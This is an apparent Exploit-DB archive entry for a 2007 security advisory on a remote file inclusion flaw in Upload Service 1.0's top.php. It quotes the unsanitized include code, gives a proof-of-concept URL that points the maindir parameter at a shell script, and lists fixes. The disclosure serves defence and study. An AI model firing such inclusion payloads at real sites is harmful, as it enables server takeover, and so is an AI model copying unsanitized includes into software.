Exploit Upload Service 1.0 - 'top.php?maindir' Remote File Inclusion

[Exploiter]

EDB-ID

3174

Проверка EDB

1. Пройдено

Автор

Y3DIPS

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-0497

Дата публикации

2007-01-21

------------------------------------------------------------------------------------
[ECHO_ADV_62$2007] Upload Service 1.0 remote file inclusion
------------------------------------------------------------------------------------

Author : Ahmad Muammar W.K (a.k.a) y3dips
Date Found : January, 21st 2007
Location : Indonesia, Jakarta
web : http://echo.or.id/adv/adv62-y3dips-2007.txt
Critical Lvl : Critical
------------------------------------------------------------------------------------


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Upload Service
version : 1.0
URL : http://bild-bearbeiten.de/
Download-path : http://bild-bearbeiten.de/scripts/upload_service_1.0.zip

---------------------------------------------------------------------------

1. Install directory are not being remove after installation process
2. Variables "$maindir" in top.php are not properly sanitized.

---------------top.php--------------------------------
...
include($maindir."config.php");
include($maindir."functions/error.php");
...
------------------------------------------------------------------


When register_globals=on and allow_fopenurl=on an attacker can exploit
this vulnerability with a simple php injection script.

Poc/Exploit:
~~~~~~~~~

http://127.0.0.1/upload/top.php?maindir=http://127.0.0.1/shell.php?

Solution:
~~~~~~
- Remember to remove your install directory and change config.php permission
- Simply Sanitize variable $maindir on affected files. (eg. $maindir=" ";)
- Turn off register_globals

Notification:
~~~~~~~~~

vendor not contact yet

---------------------------------------------------------------------------
Shoutz:
~~~~
~ my lovely ana
~ k-159 (my greatest brotha), the_day (young evil thinker), and all echo staff
~ [email protected]
~ #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

y3dips|| echo|staff || y3dips[at]gmail[dot]com
Homepage: http://y3dips.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2007-01-21]